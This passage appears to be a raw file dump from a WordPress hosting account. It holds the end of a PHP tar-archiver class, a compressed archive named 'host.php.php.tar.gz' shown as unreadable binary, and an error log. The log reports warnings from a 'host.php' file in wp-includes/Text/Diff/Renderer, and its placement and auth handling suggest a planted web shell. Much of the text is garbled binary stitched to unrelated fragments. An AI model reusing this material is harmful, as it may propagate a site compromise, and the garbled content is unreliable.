			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                host.php.php.tar.gz                                                                                 0000644                 00000061203 15212004204 0010214 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             k#v%	K(.hޏA4f P
ϽX?E1HYvd)Hb\%GQ@̽W鮪<yɓ'Of<9f9Fl[eccyƑ%%Hdd:ӌȈXd|<+xO(Cax>7|><|	䟥$S"(?GY	/}_?	:/8Fkx/>}S''O|'3OS(O^;L?ݟ?Cx_8|o_{|;wl߿>_,%=GEMP PO/;秾%~;/?J=-{A.xk?6?[o,#P__Y7}|o>y7_֯5og_-כ|_{O?G?ϼ_ͽ祫~w[3o}?˦9 yW?_?e~?ߌ}x{=~MyW|ǅ~<ߎٟ<7嫿:}7_'SPW_yob?ÿn?Ϗ^?<	~@?#~6+
47{~ٯ^x_|v$I/?wρ3_ou:?/_3/rN%)+~$agUn9byL͘+DR"K4")њs+jz
#Dv.E$&[br ԒV"KVf Il!$kjK |}-MREEAf2"1!ͩKRqkyiĔa%R1@bxb=f9& DS F 4AdvE*Wi'F$4YfD!A>.
P5ۂ͈bXx ֈDP21$jzEݾKy,[$5 y&DD"E$} `KVE6*NN/3h20D -(Jxyύ"t#4xCHP^S"sa@,$gehR 7hv_pjʖq&e-"HqDM";`x	G
?Ic,>o( _Ebۇ WPsJH tKp@ZnXskѪ91Tn:RbK %:fjrxٽ@*f9)0|'s C</]Hz&,"Sq7V1^'zH 0W!@5 hFXNB=xLМ](b ̷Oj,thT; s`/.b-^3>"^ CS!h!'H Q8A)x]DGUJEv4	y|Aab6hԉ-VQ<е^wADUd攈Bzv1D`6sspj Fp~qqm_^{N-(cws;\q	~5ԁ) x\ޞӵV|o/ɦsqA\vU؛7fBA[>pҁ92S(\qa˜Q>_Nns:}yzqJՐ$,y;0 $1
~H<7%'C. 
@/QQ

qïٽc@ BxրDpRp5Σ-Hq1=ށ,[A3!<%(K:qK!@ZpJ$ $fāT;ٕ 2P˳qHv>ƀr Z֑l@f!;3<T$`H}:LT	+-"S 
!mNI0i>%1#5`xl-t(b`$W Ib˲[$@,U5T
k*ę
Ԟ8,@h[!Vd)JIAcbX	TdfBeɈā LYJ4{.+ZJ#f%g=_;hj+SewH r@҉XڊS48Z$D_ր'/Ԗht#lVdڼ/V<4ʥ`E:V@ar!f=Rl	"6\	`TPsPF5A6?x <Bɉ@:uM;!ڂ@;:&0uEsuM&_:as2%	g%?@zLf62ԈZEFPAREF^<a
Q_TW(,䍀ㆄ`cڊP?#?4PF@D4l~Jp.0 ZtTT[Xtт@1p0X4X0\S@K2	mKPqn#ȗKLF + s843=K4fW:4?dl(!xcf@:W2Nx6IsAb#fI6n>VLqS܌i;xOc#:	a-9J4<*
P%h?%93 Óa0`BR-)322gBFCٽ-cH:R	i&svΘ͍4?5o]*X@V<T
;f$Ɠ(EX9݃D0)͟#JqBq`2sµɊr~TDjxJmkӁJ<6kWB|6*PX ekE'(p-+Jl,Q)'.h8'ԗ؍'! 6dʢ`Ҧ@ d {
"X^4LKװ1FP2-VCPɍ͹CVCDɭR0b}@s5\ضjȁ-Mq&X_@CΦY Qq3C! (t	\ݦP	UtkSwlY-_OD
\2ZzB)LD+ɒɘhF<?M
fޗ)V7RkD;usXbxM 3 |~dᒛwC(Cal.TT!6!# n8h?ac.#]D(\'Cn)/Z3\e0x"c.W+aWa8Aat4R^쏊JU\=D ʂ*xҕ0.8Ï8EV
PN\H*:UQr	fbC%#rX˘3X( 6?_8<G).߅9ߗׅQ$`tO8TOƾWDV&...ԒfW"//,38\4>sD:Kn,LcbQ=7#J/b1ƒbp\d#hEBhU:B8c:83^yRLEMPWi60"_!ҩ7 Ff3G2(	)p20yv8 0_c.58"Vڿ3s)޼0&8U{u"ƣ*hk\pX:hD4 B mpָR=	ɺq2
xAe_EEx\0I(&kc{n.K1T
P@:747=Pă12«+_F5Qޙ);TėdIeD4fgE#L1CC)1,uu+0b¿_RXdW[bݎ
3 
bn)8	|ϸȗ$u㰫&p7+Lb8XXCi[)؏^xk%FD niCs:v qJr;n0KqX`.1HI|JϟDJs1Xci|SR2QT0	㎝`	C7,Wza(t+_Lαة4ArzR/#mӌ?<	L=)1Ҋ^\>	}})IP| <ʝԊ~9}TXަ/I<$D;XV5$_̓J0~p;l't<Bz˶(
r0Sv($1P{ݎYNcAY3HepâH*08)BQijkh*"oFa8'Zܴw991ۂ,칞ڸEXSmP4m&-Vg%f?o3x+ʌke2@](Ϙoi1x0M1%_ÈCڡ:@ RF\z",1]}Z3ψY%2Pm;
fC-^50pyɯ@uAkryPq{`!ƘK*'nn"47
Q!ZVC(}j0]e{rЅ659NQC0KTUxr3X0z5'S
E^`cE0/@Ft;R3R!@q"gӹB)O-ۦ @ݜ}gf_ٲşzeڈVF nҬ64Уʐ#UO&WJ4'Q>1~9 %7*{!EnzI3D.h6FvGUgiۦJfZ)BB\tAD
X@ _&/NVTΠ|7|Y1hǋtܡ.AM5AR&/̈́L !'iX.3SН\o,u5	z~%	ZS&S5΀TPKKn{E hxYϗ0fNVϰ* 8;Us$A'[8/U43є^.%{	+΍nuxLh1k'FCg{@8	+LcD4v
%2M h2@Pefn
!✿T/C/5Y-*\h6%cppù-Ӗ`ϑ$0SeUHu	C]TV )5fx<jOBj`2 IŬ7v953er )7`)ks90BAwK}Xyi4&)eJTtj
}
G1[yrM:.5#JwU$Gi+3P$LiqOg+jz8TGxW]Z]"_\S >M$ԭK^0Zf3ӜJf@WUMT'=;V:8r uo-؁~9jkņc/pG!zSѽdCg}!>/1@u2]Icaƀަ" 'Rv0uF8dyoTJLp)*@i>lxLx$=C]DV Z.Y%#^ZBSfEԤO3I(g 6)phSc~9ZtwD4BdgԈ""w~
L
} 7m'*	qSn<%k_X6C"K't<^ uzgȡ?Lx~Unz|;9\Buy鹿t⢿ٝ{ZpUp~dX~=%|@R?).kx&7[Ec8ДD&ZV'l$oV",p,,zT'\IX_{Nˮ3.΂nEɰ('rfdػM[y}٭{'Zx	.OAqNq6{	eg=tڂfX&!vc.	;9Z뢓pA_8}h&b%[*O"\o}]MؔrSقJs6 3Jm)IJe3ɢGs2vnbn>"#	2fVЗ*b,r*~.="需J>Om"dwY_227P{0Խ<,unИFʝ9R|oD}gOջn) & nGfL@=.ǋ52Q!r=*l=Rǹ4/ _ֿkMHgaMRA ͲZRi`q[B.l<iI'34uNtu3Ӿ˧9ۡ֬=ͶӊkBWNjݮgӑVKu'yWߔtKbJbҍz֗iY۟- w
9,iEbm<NpyS[msL/bITKΓnkfkFT>CUE,1s&;zZ"ޕFdY?SL9_+\+x>wYY=~LBe_wZDun-'IvZSv[+۪a7D5%Iq欧.Rz+(.'fM+*s[R`6x.wЊynRo^41 Y)v
0xOo^ᇥR
0'RmܨˬZSuߋU7!E+mD9\KVށۜp'	W	BʴB8  ֖ s}Q=a:Hax 't\PNN}ElЊpey.ÇW+VS? 5}RtZ4+ہʠBQP0^ͣm%Wi4Փ1fdZ2fW1+H&C!TEFyNr y))^i7K[D2 C;w<s꣚9CTٚb9C<XAa]w|U uCXa93"&Z<M*"*ȵDkj|PCu`Z	]+23+8ͲQͯ.
ڇ "f{a6|  #_߮0]gssh	^	аrЩ÷nTq.b1ȥQ+ahSDy%z^IQPr%a8}@PUXI>5
 xT7$Ao!.*	޷qt=E!pʀZ'E+MeVOJ$>)=Z9ڽ+:KCp_ែ?'	7Egہ;7(Í+ߡ^(9䱂:9|3볯@C@)0+tĉIi@^䵣N:.MKlу3cQ)OFcfbb8	QA`𔀇CөL͏
dUPnPtCniͱ/eY7X(=/"3VpP[/Jޘ:(8$CǨ~`(NoF$,ڨ47N*1._u:d,M3Jou ,*aL,\b ltPL7Z&C:`ّ0gȑ
z6w Jkþ	Ac!/ffzV)1rWTf]2z<,!}q4Bj
O#KeyjťYi®Nnavl6=Di+etqkVvB0q>ӽ<j% 
rv):]CFRlqq~ƈ#Fw\̅(-ܽBJFǉx[YAsXDP6{b,(EdԨ4	0 Ц 5Ghygdjx}l'R"x(DFNmp)-40bye5{]bJQF<6(48#V[Dߡ{T{F~T=ȇ]ocO.^wR8Be1O'B*:&zPi'
7(ը‛CD=0WT0Tz^iNFd9cRV63y*kHKl%ΘClX܃ysb(DH?*h}i]9LᾐY6n.OT
dV>~\D1<ȓj3wuj.쓩e!Bb(q0V]Ho_?7_9=ww`)|\*zpT?/h+̔(wڳ:ډj.E.HA;L}& 7hwL[Ρg0:صBԪQ:uo(0(*@G[`(>C!5^"YXA՚Q&Kwh}hrP##ܞDc˚(tb} ,DO@/h6*\>@ҏLq%nNřHYԣ2i Ij^3:}{L=Q}0jPq'V	JV![O`.%ǕDX6"x6,vsVԮbS7mPpRU9<V,hZBO_7g\/v[ͺZF|ƪ* :xam9C`ܡd<3#t>Cjr67'+C|q QQ)=p 5qbj*Yk-=	MfE;֐+hFP@ٔTVq B*˳q [I/Т0ʬ
&cfmgBDqJ	BĈYbwItsxϵSnSz\=/Ȳ0s2ap8 <>0JstHG!g04vq,#bm	T-WT)myhL@=*F9޴D_ᚔZh\V8pwN%t fxUYUQq~}ЊtV7{@d}?}b!E$[b
`>ϦM09M1w0t-S#3b)VfRA7{0{gMy2x5?
KS xΤ	zY hpGy39c+7ԳN8>=E`x+8o__\Xë1P)~@q즰,(?xbFue_a9:܎HhOuNbjAY
C2V8I00@:euQ7hv%C(B9:<䍖;ePƪ隥qf`K}YdR<fb^ݜN_kEcwrR3^<wed:f@<p=ߩ+<@]Hb&J
E%HDe
zģ3lX<T(
F<S8[#Y3?9Z̅)|{bF33|?oox2H6b%xO|	휃_omyS%/RmdPmX/&zpW
2;Jԛ
&^Ijڣs#Y<P&v,RWȸR^&ddjȊ|9Fhuc+U((GRX, 	\7Xe(|JC^_C|pw	^fv j(	ZZhNY;ykGQB)?5E|!cxR5oFe,QUNsmכx<7vogFsiym[FwMkaLi5HV:aGlRRRyyP*yVÁ儊R_&Ż꒑"AnƓm*xi3i&D S[m.O]/ّR"^;(`ʥb27{x)͑krQsx7is\Lx:L37Y׌ l'L\goIy˅DKq*Y6{1]-3hOgH-/x*qb/*rJ{ͷx=@<聼7De2XȲQֻ~2$]qv]aSuk4\^YH(YN3hDVL)Pp,|)."H޲e8<QxrYL:wY!N	\.܍#z{bZ+Bdy"tg<-=s7ǅM xJλ@bͧwL.Q,`v-B4GE\Ӟm1
xӍA7	
mAӀӿkť-EjLwU_c;urx`5ǫp?k(˦tFHŌnAOMgA-֦EYvd.	R/$1ȒD6'ƻD%fTR3Y'Y#ݎ
6Yct8].%TjR:EpP&zb53,ˍ&nֽ|@&Sl^Orki	V>`rێV*=pRvjIYFZ/W̄HG]bv>Q'D`]5Oŗ#)+O4+ƷfX2{^]<iO~ԭ̸IhK<iZ-q&s+
uNw/&i70ZmY->mf#-f=`#Ji$4SrZ@ݔg`::k'm|@5-g^hIEcsJY6Ѧ*TK	BO\a2BzW&|y6B0kfg;JEسhpĝGZN.z<wR/$fl|m86ݞ' 6ںˉ
KU=Z<
y5vv+څbHnGwv9QqkɢƷ^̽oy%3F{k<i3(֞hjɎ69Yԓ#)ߑʋ@;jޥo\weηXP`mW.̮zH.oOss
qsU`li^{#.Ǳb jR0 z3K/ՂGt +oE^"ZPV_i:]Ν./A'!sIoCsKeFYi&d"f{߭bd؏3A9^\'{6K:խN|R|l@MnGP&3/F?nKe|<ϜL\e_b2$/X2۾ujKY,m!ءv{NKJ)24\e	FfEГ*w݄\3o1ˑr5WrtdӓKuB;cso3y"|m^&Uy\-@|xh>c@u旷@XŹj{sdBU+'B䲼pG~;c:SkD=Hd.eWC1<D/|I1if-Ŋ7gtΒ3["ir$f9g)y2:%"%Q+V6Y<;+՝&&dVo'&<Z%FFV5t2.'Og(:qV5Qf|7o{i\KHPz\E,F.{_Yf,eyV2	+&p&yƻf\ejdj^ʼoǕms]USI|27,Y/ټ/]Jd:Z4m6RN7
Wt$37TkGv&3Y϶\DKJcKljaU|=zmhÍE*ՆTR^(ڢ/3
9iFsmE|ңD]Ãn+/knœ@w{Cw*TT
Ai0TlZBI,֑e~+fh%r(zf+V(&ZFvrMH.|]rf8n3A{	܄VtςZf'BL?~jN-8'u>zIю\{ӻ~18,(cmH$OmLz|aH˝ܝ3rxUz~'Jv۽|WPvH]Nެ8!7̷uڮ7&Ѯ*I+z)G㧡OTSha+g:'gUJweY;=tH=*SႍUT[lN}.7:dA6^8V>w:C\sޑ,DԪrW-jasn|]"lF0_\R0dD)GtF}+wJOPf0#};ii7h:%h.U/OV\t1H47[;YGSqlYil_[Nw[KJef]Wv(:xzn`m9lqȹJZWB4Rm:|."IP0<̚S2';2[i	ݩSddtDnqo  |`&H	814W׆d|-9&/TqFHIZ=F%g5OlZ=ćUͭm:H<0~!ܥ=R=Hq-f^WzͨmpFT`HWn+?yˋ(
xBrU?$qVe9l߅lk+vw)m'EqP̀wk)/2`yYf\RmvW릯Nr˶Gb#g/ܲi:NU{oU[|vi Yqem&\w5`fY9ag؁\u/fh)$\-=B6:aihONwYkjNfMs+Z|unKNmFTWv͢_S|nSN,|Cl{#>ׇ~Vfm8 ;gE)"rLB-E!e'kgDd)<<W*B]KgVx㌼lpHEU^n"Y.v?ͭH93~ }nD4emL^!,|Zȷk!߮|Zȷk!߮|Zȷk!߮|ZOn-9
ޥ0 e"2UBFC6k	6;ai㿣R<?Ӥ0T#ojz7ͰnmKTLo2vS$|J࢛h˶@SrF~~%WasfX0`oZF!Cۡfۄe@w4&w7L$u%iwPo*Ap9bQ(Q}W>ݒQy*{4XiIJ[`nWQߺڗΟbިX/Rܕef]Y)DxIҸz\05y<2,ښ1ě:+1t!ԖB|~ˍLDr64lb1'jsZo1gN3SfȺVӮ&MU2_
`8coC|a=B)߭f|`%5ֿ`"
x=0KYWYԺqhoN{rfm[Qz#a4pvķɷ`[xZ܌R;gnZCy*fENnv祥<JgP0asRvFaO)e*WG7}ݲ3g2PN膖9ֻ7VI>~Fwb`tB}1/Tk+SC]iZN|(Z[tvnr^OĶQޭM-OֽPr&ԛ/ux>q0=$VX`'"0:$]<JUCco)P=0vz4b'hm2i8K	*2LY-,XҹN6]>mTF9̝\kB6=e]HN;vgf\SrAy$0EGVm(mk8ŠH5/i?	wl"#ўo09 ]Y
v`[G.Pb$B\"	My(^~o˴b3NgAq#ONnd1/nC`Y,\<pݤ0\-CpV//:	&Gg:zyh_f۫%l5}0on8zpﶞδ
dV՚+6LZTxWXYOwQ{vsQLˉ1ԇ޲9\74]$6]AlR r)%E93	ҌZ2K
[~Kp^>;	\" _6nf(Z>]i"frtUJB2/EsrT?i7>.wn^Tv%|^ϷKpǹ-%߻WJN&%j$P+xaGMns0D^7ZJLva14K@d?Q9}ycRC9a0Vb|
dB2%r%_qP~ĩR*^g<NW{ΞP!PYv
/?KS|K|U]G?qxdA1T>x_t06't'.??|*JEB÷xÛIPL8izx\br1d'lB_d'A5FzH	^(]ݴ3F-\*G͍QMx?We*ѐaFSC'L"4,B7OWb#)R~05__>cYc<?Kk\2XFSU#J0 !VX\>˳Fex@I6kI*%aQ+DiԈK zIt@h<H2gSNC90ǨCm|(ujB6xRJ\>G# kn@'?X7#4>ۜPj1E 
qaТs>V5~?A)5V6%$`O	ʓMDW>REі)jMiQZ<(^6(74[/l@F@_݀A}fIX"=]XB&}$A12RHl3p(@~6"¸}8)iZjJkuE\)Vd/Z4pCXV`+hx2}i~_8Ưvy)q?0Dd#@i@nrEM/ B:(%#!Gp-*h@m	!Z\8plV'u xl$&(!lM(4d}( 2C%0|R
Cء	\Xl5\%7z!k*u m8%
# G<خ=@z~ݯ֬6Wê=hCww1`8m~ޕE p<Sa53$S{U]c	GJ~#EFl}usV3>9.^z>@T7,Ne|'$HH9u{*xh7]Wu9d6`8m)XCQ]E-3mS@{=h@@r6S+ZT<F6-Hӵ8P/gm>T.b#~0"
x1áX`ϟ;8@?SZi )wP\0V^0esjL%NaPTZϩR8[PVM1r_wҢ `߻L*15OիYhh4tTh+aC1#Vdn%0j4FV=05 `Sȸ~CpQ});[-Pi)VOE)HIYvS.],)~R<1X,-%Lo-X{Db>keжq#R)zGnƶ 5NgMQ_iQcPmG<﫾SCMm|%OIs`@"~mDzA
\48_(0/OِbsHëت{}<ճ^|Wye7ķl
Cubq_bV'/G#Z(`kDt	0kyųpt.Xץ\
,%=0J|&-Ki	e|!51{zL@6P]B%\W`q~&O,a$0qn5?G}٭y)+tzns/vŌyۤA?WΠl˃GV}a-`Ӕy6ҏt'娦PY[U9gy!NU5b{>p`	NT^#:⫷cq&	Kag0(dM8)Y
"yϱ3(w'1繱}˛(RhQ894JƂ.k3&kBKv%p#
x_P1[tfsg^9ׯp)
.4 WD%/"W֫SEcXk`@]kk-1Rzڤx,}b:a@
0̠d@DSu,v2 ]B<gx.6O$!
=fss*s!5U[`GmGlr,Mo>uUvmd7tNEhE*4	'{P)|LU2_2>5V 0c
xـi7(}27E#(WoXYvR"sweت_>^m]Rr >dcb/P_鏃בI1]ހDj 7s4VG;s\ۤtS:45# 	ǅc4rφ=ȧryOPTy}ǐ*S2kw/KV17	#LB0u@tqCHdb22`f<xQV/KiJ؍SC{{xk3nȠW@R#l7^.8&_+&Ǵghَ2lzN4_,4~81{DRM`ʎT\S'QVM`sfhbv\ͨ@sa_qy,.ڭdf /{W0K_=UKKBt( 8I&=(DP+ .ŧъ1Z Jj7M#O%JBjQ/2K9ƧO[F#_)v$΁56bdh#Q]{Հmw {UwsʱA8fͣRs 9'H>2ܦjVAk"dFh'׎hD`FyS%0n-"sOCuAnF	+2ۚE0P+pi;07p_[F
XoJUJJ	+rzooG-tv6}zpD*_O'z_ XgP.R.! ކ*AO6[?U겇
m,@{sd=f@8O@HKЌ]v6.˛+$]Eq
w5R̀1jxU5dU`ň5ADzr3CuYPywԮj=_+B; \1̚=d 'w0{?Q0lOr[vSNqN:y%c\nl(eΑv+SA0赽!b7SpT<}}{p)VElLM2ѵ344z8en.0Zh9's5
a G`bLg0ϊtr!~L(lbhl<JCV{eqMtfhDWK|W>Y+T꣖FX"H;`F-v@i(djhߞ,j
ln1SWX"݈ `,;D
qj~HC+<seƇGιlUуzsJ1
;MhGne3x 5;VRí8-{elF̚⨭Mmkl"oMmoж43Ð՟@A[,0$0nNM#0},7<9?sX4PUvK*_Nr8Pݏ@_I{Kh";HvW/_x9|>%(N<O*ˬ1 zv,Ԫ봄|cXQb=ŹXo|ACaZgdv欈ߗzĦԏS0`%c6- %jJ7bT_80]j'pHV>3_UkB<Q's}
lZp:E70<}6׊>1_VM`^mQCp`T-rz8£Ϗ
T_\VӥjHlB7YL=fZV{`HΣ#Lư1%+!U+c8Nvce@*9GB(XjKYOGU@P1{CU<xxP詠LBSOYؙ+^X\?xQ}Q$( GeMQfUgOATBFDzi,DeFPK
_и: Д(R[N͟[w*~tz_&ý
d٧^Ͳ1	hS2Ѝ2ڐ<K{GP\@19\iamTg˗Эp z9ZrUc5@{f|O^9wZP(!
pʹMpZ;=KFϯ:14#C-0TЃ9GZ\8DG@v&9D(CI@B#BRɠ7fO(:Cz 	o깞[aIHKaM2\.+xJ߫;7x|/7x85;r_ k:1ƨ=9A ħkšEcOR{=F8~_
]a8+%@ }SD*F8KsfyZXr.5B놢A]o2rP
x\ލ",6A8.@q}Jb[Frɂ _bRFd	BmOŮEF^qjiC^'0Q*zR;fCpZcq]Į{b;NFzfxF>~70k+ChL5	i3[&Y7!7z}^a*0͘&ʪIF{ȧ{n<q	?Ƭ7v9#DJX`#rvUMA-CX	F;4ڣO部W}{(2(^J-P17zRJ0}cu4fOK]WҩK}{a[}d]skfLDl]2W8M!s]]Yb*8Ԙ:J3(@}LdS@qToK(Q(;zB
	\a }քt,s$Oo<^F 48KMק7nm:6Po0+?Pb$|14~7yH ;)hfp7f7qJT"j?'hۓk֡ۖ1F'xE>\XT?Q. 75LpSc02\ud~ :z@XլWذ.V+u_w_b'(̈:KcWZaID	ϐ" M08S?+s<5G)0֍rˣ}j3`^eXU01 |WАn΂w$ldX~R(Tm\k3>zb~AьkGtxgJTIF8@5Mf6t//b:U"ZD_FI]|$ lTJPnxa^ nipYV'` S=&DAл0HTF`jS4utqY#N !']Y92"b7﹁.";1SHB,O^"Q QV8`OS	0V̂NU3(IZ%d(=6ei=D;U)[WTwE<Jl"=ƃtM꛸QګL>g!ϕrbva0C#"PB<<\-Яg=,:!TU㨪Ds׆U]B]1<j|ZFuU!+Xeb;p"h7t!yIw\Bqֻ;'Ҳl#>4:a 2>zwٚ1[{&P5/!aV_|e~㨧bny80;J+E5`Ec6Q+IFzVH֨
?TņVuv#E=a6PW=*}A\+/ABE)	`bb@I>1h[%M1t6ָI~,Iy9 !ea0]p8&/cSF520fL`rt51@ط\լJAGxW
vT~{y}l<64]o-ޔ'ҬzVXQsQ!@&(:2)Bʛ7@> ǔa0xӰ	ݜ@WyGsSk+ae_K1jI00ВP#R k'
;hyr켑&3..@u[wlx_/ź[O21%_3OS(}\?Nȴ|c@-V!x5I`H2BTN@[AxgCtux'¦{`j5np	COZ#)u.N=X%Q9l`:1Ncͣ9tK
qCNvI͂>Y]KT @wh.]W@K]h9ܤ⭃	ɠM]i(CcYb0jqvn8q3g5`L9䨑\@j.	q6ufH	r ȱ;iXX&Ke5# ~>4%ME%,PY(#>CS*ZJF$]ZUfcBDHV`#)} h':٥O aNk[]P߾Bvb'Pv%E<aTe 1tckӚM1&%0awBUY*Nb9|p5j,&hsm;\S%?9cѪ	i╭_AA{n?z
m`VIԣWaU''F[rAh'8\kVVM%2㲫cϽRO1*OO&&^}Ķ)=b1i8P]o/zSm뽆կҰZM\N9a1тGaHZxTZ <^CKZv3bP]ӂ		u4x7#&EUMVaCIֹjY&b0&w_)/eZ+BV*g\RֲKx`MuT3 ^SA-M-=v_x;C6O/b02:+lB.C
Ì+,):ڬؔqaH}r|o j|DZ낦)ޅbFˈAF"U/ysxTfTd&Rb{O#QXѣBT
'"!:JR5b$SI[RRͬfDGDij;D*jH0*9qd@C`$OB@t`20IB`
ZCm6*aF']fP;=l03B9{	1ȅ%"ՠUq~$fEqpfdь׏k-`;'Ay}qrq:Q>E2TP7=v'x%\7D4Iɂey4d`Cud@r 	/Eϼ^	zVmwKisXXUtMq$II,9
fa4`7zsЅ9u~Lq8͏7S#SJYQ'Xoа㣥=]ʈi z:¯O,1(lPP_$ZtrpQUL2Ku(6aEUk4A6C?Wp 4n?eYjVVlvVՆ7wA(_@vOn;ڹSd[L	4+
L"cV&1߰kAni^!`sF\<.~x4 C'f*"$:|4I5ρ@U%ʪJӔc1]<g6~.~th<0q/ b|GRG|BV'^&^B4|$V:CDu~qb~6F=Rwj~?Ɯv~HGn($>pH5ba$h!	sNl՞0SqhOArkgu@@T游d}XpI@Ռ{`+41L9>@K]`%Q[6T1X_ë®wF6o15t=tBPSF}BǷʷ?|_(h D                                                                                                                                                                                                                                                                                                                                                                                              error_log                                                                                           0000644                 00000226300 15212004204 0006452 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [01-Jun-2026 03:23:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[01-Jun-2026 03:23:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[01-Jun-2026 03:23:38 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[01-Jun-2026 03:23:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[01-Jun-2026 03:23:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[04-Jun-2026 00:54:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
